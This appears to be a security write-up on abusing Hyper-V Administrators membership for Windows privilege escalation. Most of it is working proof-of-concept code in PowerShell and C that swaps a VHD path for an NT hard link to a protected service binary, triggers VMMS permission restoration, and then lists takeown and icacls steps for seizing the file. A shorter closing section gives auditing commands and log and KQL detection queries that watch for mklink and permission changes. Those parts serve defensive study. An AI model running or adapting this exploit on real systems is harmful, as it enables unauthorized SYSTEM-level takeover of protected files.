Hyper-V Administrators Group Exploitation

function Invoke-HyperVHardLinkEscalation {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [string]$TargetFile,

        [string]$TempVHDPath = "C:\Users\Public\exploit_$(Get-Random).vhdx",

        [string]$VMName = "TempVM_$(Get-Random)"
    )

    Write-Host "[*] Hyper-V Hard Link Privilege Escalation PoC" -ForegroundColor Cyan
    Write-Host "[*] Target File: $TargetFile" -ForegroundColor Cyan

    # Verify Hyper-V Administrators membership
    $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = New-Object Security.Principal.WindowsPrincipal($currentUser)
    $hypervAdminSID = New-Object Security.Principal.SecurityIdentifier("S-1-5-32-578")
    $hypervAdmin = $principal.IsInRole($hypervAdminSID)

    if (-not $hypervAdmin) {
        Write-Warning "Current user is not a member of Hyper-V Administrators"
        return
    }

    Write-Host "[+] Confirmed Hyper-V Administrators membership" -ForegroundColor Green

    # Step 1: Create temporary VHD
    Write-Host "[*] Creating temporary VHD..." -ForegroundColor Yellow

    try {
        New-VHD -Path $TempVHDPath -SizeBytes 10MB -Dynamic -ErrorAction Stop | Out-Null
        Write-Host "[+] VHD created: $TempVHDPath" -ForegroundColor Green
    } catch {
        Write-Error "Failed to create VHD: $_"
        return
    }

    # Step 2: Create temporary VM
    Write-Host "[*] Creating temporary VM..." -ForegroundColor Yellow

    try {
        New-VM -Name $VMName -MemoryStartupBytes 512MB -VHDPath $TempVHDPath -Generation 2 -ErrorAction Stop | Out-Null
        Write-Host "[+] VM created: $VMName" -ForegroundColor Green
    } catch {
        Write-Error "Failed to create VM: $_"
        Remove-Item -Path $TempVHDPath -Force -ErrorAction SilentlyContinue
        return
    }

    # Step 3: Remove VM (but not VHD yet)
    Write-Host "[*] Removing VM..." -ForegroundColor Yellow

    try {
        Remove-VM -Name $VMName -Force -ErrorAction Stop
        Write-Host "[+] VM removed" -ForegroundColor Green
    } catch {
        Write-Error "Failed to remove VM: $_"
        return
    }

    # Step 4: Delete VHD file
    Write-Host "[*] Deleting VHD file..." -ForegroundColor Yellow

    Remove-Item -Path $TempVHDPath -Force

    # Step 5: Create hard link to target
    Write-Host "[*] Creating NT hard link to target file..." -ForegroundColor Yellow

    $mklink = cmd /c mklink /H "`"$TempVHDPath`"" "`"$TargetFile`"" 2>&1

    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] Hard link created successfully" -ForegroundColor Green
    } else {
        Write-Error "Failed to create hard link: $mklink"
        return
    }

    # Step 6: Trigger permission restoration by accessing the file through Hyper-V
    Write-Host "[*] Triggering permission restoration..." -ForegroundColor Yellow

    try {
        # Create another VM pointing to our hardlink
        New-VM -Name "${VMName}_2" -MemoryStartupBytes 512MB -VHDPath $TempVHDPath -Generation 2 -ErrorAction Stop | Out-Null
        Start-Sleep -Seconds 2
        Remove-VM -Name "${VMName}_2" -Force -ErrorAction Stop
        Remove-Item -Path $TempVHDPath -Force -ErrorAction SilentlyContinue

        Write-Host "[+] Permission restoration triggered" -ForegroundColor Green
    } catch {
        Write-Warning "Trigger process encountered issues: $_"
    }

    # Step 7: Verify new permissions
    Write-Host "[*] Verifying new permissions..." -ForegroundColor Yellow

    try {
        $acl = Get-Acl $TargetFile -ErrorAction Stop
        $currentUserRights = $acl.Access | Where-Object {
            $_.IdentityReference -eq $currentUser.Name
        }

        if ($currentUserRights) {
            Write-Host "[+] SUCCESS! New permissions on target file:" -ForegroundColor Green
            $currentUserRights | Format-Table -AutoSize

            Write-Host "`n[*] You can now:" -ForegroundColor Cyan
            Write-Host "  1. Take ownership: takeown /F `"$TargetFile`"" -ForegroundColor White
            Write-Host "  2. Grant full control: icacls `"$TargetFile`" /grant ${env:USERNAME}:F" -ForegroundColor White
            Write-Host "  3. Modify the file for privilege escalation" -ForegroundColor White

        } else {
            Write-Warning "No new permissions detected. Exploit may have failed."
        }
    } catch {
        Write-Error "Failed to check permissions: $_"
    }

    Write-Host "`n[!] Remember to restore original permissions after testing!" -ForegroundColor Red
}

# Example usage
# Invoke-HyperVHardLinkEscalation -TargetFile "C:\Program Files\SomeService\service.exe"

#include <windows.h>
#include <stdio.h>
#include <aclapi.h>

#define TARGET_FILE L"C:\\Program Files\\Mozilla Maintenance Service\\maintenanceservice.exe"
#define TEMP_VHD L"C:\\Users\\Public\\exploit.vhdx"

BOOL CreateHardLinkToTarget() {
    // Delete temp VHD if it exists
    DeleteFileW(TEMP_VHD);

    // Create hard link
    if (CreateHardLinkW(TEMP_VHD, TARGET_FILE, NULL)) {
        wprintf(L"[+] Created hard link: %s -> %s\n", TEMP_VHD, TARGET_FILE);
        return TRUE;
    } else {
        wprintf(L"[-] Failed to create hard link: %d\n", GetLastError());
        return FALSE;
    }
}

BOOL TriggerPermissionRestoration() {
    // Use Hyper-V PowerShell cmdlets via WMI/COM
    // This is simplified - actual implementation would use Hyper-V WMI classes

    // Create VM
    wchar_t cmd[512];
    swprintf_s(cmd, 512,
        L"powershell.exe -Command \"New-VM -Name ExploitVM -MemoryStartupBytes 512MB -VHDPath '%s' -Generation 2\"",
        TEMP_VHD);

    STARTUPINFOW si = {sizeof(si)};
    PROCESS_INFORMATION pi;

    if (!CreateProcessW(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        wprintf(L"[-] Failed to create VM\n");
        return FALSE;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    // Remove VM (triggers permission restoration)
    swprintf_s(cmd, 512,
        L"powershell.exe -Command \"Remove-VM -Name ExploitVM -Force\"");

    if (!CreateProcessW(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        wprintf(L"[-] Failed to remove VM\n");
        return FALSE;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    wprintf(L"[+] Triggered permission restoration\n");
    return TRUE;
}

BOOL VerifyPermissions() {
    PSECURITY_DESCRIPTOR pSD = NULL;
    PACL pDacl = NULL;
    DWORD dwRes;

    dwRes = GetNamedSecurityInfoW(
        TARGET_FILE,
        SE_FILE_OBJECT,
        DACL_SECURITY_INFORMATION,
        NULL,
        NULL,
        &pDacl,
        NULL,
        &pSD
    );

    if (dwRes != ERROR_SUCCESS) {
        wprintf(L"[-] GetNamedSecurityInfo failed: %d\n", dwRes);
        return FALSE;
    }

    // Check if we have new permissions
    BOOL hasAccess = FALSE;
    GENERIC_MAPPING genericMapping;
    PRIVILEGE_SET privilegeSet;
    DWORD privilegeSetLength = sizeof(PRIVILEGE_SET);
    DWORD grantedAccess;
    BOOL accessStatus;

    ZeroMemory(&genericMapping, sizeof(GENERIC_MAPPING));
    genericMapping.GenericRead = FILE_GENERIC_READ;
    genericMapping.GenericWrite = FILE_GENERIC_WRITE;
    genericMapping.GenericExecute = FILE_GENERIC_EXECUTE;
    genericMapping.GenericAll = FILE_ALL_ACCESS;

    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        LocalFree(pSD);
        return FALSE;
    }

    if (AccessCheck(pSD, hToken, FILE_ALL_ACCESS, &genericMapping,
                    &privilegeSet, &privilegeSetLength, &grantedAccess, &accessStatus)) {
        if (accessStatus) {
            wprintf(L"[+] SUCCESS! We have access to the target file\n");
            hasAccess = TRUE;
        }
    }

    CloseHandle(hToken);
    LocalFree(pSD);

    return hasAccess;
}

int wmain(int argc, wchar_t *argv[]) {
    wprintf(L"[*] Hyper-V Hard Link Privilege Escalation PoC\n");
    wprintf(L"[*] Target: %s\n\n", TARGET_FILE);

    if (!CreateHardLinkToTarget()) {
        return 1;
    }

    if (!TriggerPermissionRestoration()) {
        return 1;
    }

    Sleep(2000);  // Give system time to apply permissions

    if (VerifyPermissions()) {
        wprintf(L"\n[+] Exploitation successful!\n");
        wprintf(L"[*] You can now take ownership and modify the target file\n");
        return 0;
    } else {
        wprintf(L"\n[-] Exploitation failed\n");
        return 1;
    }
}

# Enable file system auditing on critical directories
$paths = @(
    "C:\Program Files",
    "C:\Program Files (x86)",
    "C:\Windows\System32"
)

foreach ($path in $paths) {
    $acl = Get-Acl $path
    $auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
        "Everyone",
        "ChangePermissions,TakeOwnership,WriteData",
        "ContainerInherit,ObjectInherit",
        "None",
        "Success,Failure"
    )
    $acl.AddAuditRule($auditRule)
    Set-Acl -Path $path -AclObject $acl
}

# Enable Hyper-V operational logging
wevtutil sl Microsoft-Windows-Hyper-V-VMMS-Operational /e:true

# Query for suspicious VM creation/deletion patterns
Get-WinEvent -LogName Microsoft-Windows-Hyper-V-VMMS-Operational |
    Where-Object {$_.Id -in @(12000, 12002, 13000, 13002)} |  # VM created/deleted
    Select-Object TimeCreated, Id, Message |
    Group-Object {$_.TimeCreated.ToString("yyyy-MM-dd HH:mm")} |
    Where-Object {$_.Count -gt 5} |  # Multiple VMs created/deleted in same minute
    Format-Table -AutoSize

# Monitor for mklink usage
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} |
    Where-Object {$_.Properties[5].Value -like '*cmd.exe' -and
                  $_.Properties[8].Value -like '*mklink*'} |
    Select-Object TimeCreated,
        @{Name='User';Expression={$_.Properties[1].Value}},
        @{Name='CommandLine';Expression={$_.Properties[8].Value}} |
    Format-Table -Wrap -AutoSize

// Azure Sentinel / KQL query
SecurityEvent
| where EventID == 4670  // Permissions changed
| where ObjectType == "File"
| where ObjectName contains "Program Files" or ObjectName contains "System32"
| where SubjectUserName == "SYSTEM"  // VMMS runs as SYSTEM
| summarize Count = count(),
            Files = make_set(ObjectName, 10)
    by TimeGenerated, Computer
| where Count > 5